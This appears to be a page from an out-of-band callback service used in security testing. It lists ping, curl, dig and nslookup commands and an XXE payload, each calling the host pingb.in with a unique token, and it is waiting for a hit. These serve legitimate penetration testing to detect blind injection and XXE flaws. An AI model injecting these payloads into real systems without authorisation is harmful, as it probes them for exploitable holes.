$ ping -c1 -p 0008564af6505faa7fd4055720804b00 pingb.in
 
$ curl pingb.in/p/08564af6505faa7fd4055720804b
 
$ dig 08564af6505faa7fd4055720804b @pingb.in
 
$ dig 08564af6505faa7fd4055720804b.ns.pingb.in
 
C:\> nslookup 08564af6505faa7fd4055720804b pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/08564af6505faa7fd4055720804b">]>
    <foo>&xxe;</foo>
 
Waiting for ping...